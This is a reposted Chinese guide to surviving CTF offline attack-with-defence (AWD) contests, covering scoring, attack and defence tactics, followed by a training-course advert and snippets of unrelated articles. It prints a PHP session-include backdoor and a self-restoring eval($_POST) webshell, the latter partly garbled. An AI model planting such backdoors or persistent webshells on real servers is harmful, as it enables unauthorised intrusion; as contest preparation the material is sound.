news 2026/7/2 11:28:34

awd赛题的flag是什么意思_【CTF攻略】CTF线下赛AWD模式下的生存技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
awd赛题的flag是什么意思_【CTF攻略】CTF线下赛AWD模式下的生存技巧

Hello,大家好,我是Nu1L战队队长Veneno,通过这篇文章说一下关于CTF线下赛的AWD模式(当然也有一些比赛是沙盒模式),以及身为一只Web狗的你如何在各位大佬们的手下存活:)可能没有技术干货,大家勿喷:)

1-何为AWD

Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。

比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。

2-AWD之出题人

在这里暂且冒充下出题人QAQ

0x01:题目类型

1-出题人自己写的cms,为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞,比如ph师傅挖的CI这种

0x02:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

0x03:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

0x04:出题人思路

为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?

3-如何攻击

相信平日大家都做过渗透测试之类的,而AWD模式的比赛其实跟日常的渗透测试有共同之处。

0x01:如何拿flag

一般来说就是以下两种模式:

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文件。

0x02:一个web狗需要具备的一些东西

大致有以下几点:

1-快速的漏洞反应能力。

因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。

2-快速编写脚本的能力。

因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。

3-一个好的心态

毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。

0x03:当我们处于优势地位时

除非处于那种绝对优势的时候,我们可以什么都不在乎。

当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。

0x04:当我们处于劣势地位时

首先还是那句话,心态不要崩。

其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。

如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。

4-如何防守

其实防守更多看的是谁比较细心。

0x01:比赛开始的时候

比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。

然后在尽量不违反主办方check的原则下挂上自己的waf。

一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。

0x02:然后的工作

当然是审计,审计,再审计。

0x03:当发现被打时

当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。

5-一些小tips

分享几个小例子以及自己的思路。

0x01:如果自己拿到了FB

当自己拿到fb的时候,一定要淡定,淡定,淡定。首先,我们测试的对象应该是NPC(或者本地),而不是其他队伍选手的服务,因为你怎么知道人家没有流量,经常会出现,有的队伍拿到了fb,结果不是拿的npc的,自己的payload又被别的队伍拿到,而碰巧拿到的队伍,重放能力特别强,就会出现一个尴尬的局面,明明你拿的fb,结果人家打的比你还凶。

所以,当拿到fb的时候,写打全场的exp之前,可以先打n多的混淆流量。

0x02:特别熟悉的cms

作为一只web狗,如果看到wordpress,那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp,甚至插件也没有什么漏洞,举两个自己打比赛的时候碰见过的例子:

1-主办方放了一个wp,然后每个队伍都有config备份文件以及phpmyadmin。这种情况下,最机智的方法,是靠你多年手速,迅速下载其他队伍备份文件,然后登陆phpmyadmin后,拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell,万一没权限不就白白耽误时间了。

2-同样是最新版的wp,也没有安装插件,但是主办方在一个比较深的目录里放了一个任意文件上传,绕过上传的方式也比较简单。

0x03:一些比较有意思的backdoor

比如下面这个,有兴趣的话可以自己本地测试下:

session_start();

extract($_GET);

if(preg_match(‘/[0-9]/’,$_SESSION[‘PHPSESSID’]))

exit;

if(preg_match(‘//|./’,$_SESSION[‘PHPSESSID’]))

exit;

include(ini_get(“session.save_path”).“/sess_”.$_SESSION[‘PHPSESSID’]);

?>

0x04:一些有趣shell

在github上有关于phpwebshell的一个项目,有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:

ignore_user_abort(true);

set_time_limit(0);

$file = “veneno.php”;

shell="<?phpeval(shell = "<?php eval(shell="<?phpeval(_POST[venenohi]);?>";

while (TRUE) {

if (!file_exists($file)) {

file_put_contents($file, $shell);

}

usleep(50);

}

?>

6-Ending

参加了那么多线下赛以来,个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力,同时也会提醒自己在什么方面有短板。

大体就说什么多,因为可能是个经验帖,所以并没有太多代码,师傅们勿喷,如果有什么问题可以加我微信(FHcherish)一起交流:)

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/1 23:12:12

NISP证书有用吗?NISP含金量如何呢?

NISP资格证书含金量是非常大的。 中国信息安全测评中心进行国家信息安全水平测试&#xff0c;英语简称&#xff1a;NISP&#xff0c;一共有三个等级**&#xff08;NISP一级、二级、三级&#xff09;**。 致力于普及化信息安全意识&#xff0c;加快网络信息安全人才培养&#xf…

作者头像 李华
网站建设 2026/7/1 12:05:04

构建智能安防大脑:wvp-GB28181-pro与AI分析系统深度集成指南

构建智能安防大脑&#xff1a;wvp-GB28181-pro与AI分析系统深度集成指南 【免费下载链接】wvp-GB28181-pro 项目地址: https://gitcode.com/GitHub_Trending/wv/wvp-GB28181-pro 从被动监控到主动预警的业务变革 传统安防监控系统面临的核心困境是数据量与处理能力的不…

作者头像 李华
网站建设 2026/7/1 23:17:00

为什么你的智能Agent无法跨容器通信?:3个被忽略的关键配置

第一章&#xff1a;智能 Agent 的 Docker 容器互联在构建分布式智能系统时&#xff0c;多个智能 Agent 往往以独立服务的形式运行。Docker 提供了轻量化的隔离环境&#xff0c;使得每个 Agent 可以独立部署与扩展。实现这些 Agent 之间的高效通信&#xff0c;关键在于容器网络的…

作者头像 李华
网站建设 2026/7/1 12:15:20

Android自动化输入终极方案:ADBKeyBoard 5分钟完整指南

Android自动化输入终极方案&#xff1a;ADBKeyBoard 5分钟完整指南 【免费下载链接】ADBKeyBoard Android Virtual Keyboard Input via ADB (Useful for Test Automation) 项目地址: https://gitcode.com/gh_mirrors/ad/ADBKeyBoard 在日常Android自动化测试中&#xff…

作者头像 李华
网站建设 2026/7/1 2:56:31

EmotiVoice性能测评:延迟、清晰度与自然度全面领先

EmotiVoice性能测评&#xff1a;延迟、清晰度与自然度全面领先 在智能语音交互日益渗透日常生活的今天&#xff0c;用户早已不再满足于“能说话”的AI助手。他们期待的是一个会倾听、懂情绪、有个性的声音伙伴——就像家人一样熟悉&#xff0c;又能在你疲惫时轻声安慰&#xff…

作者头像 李华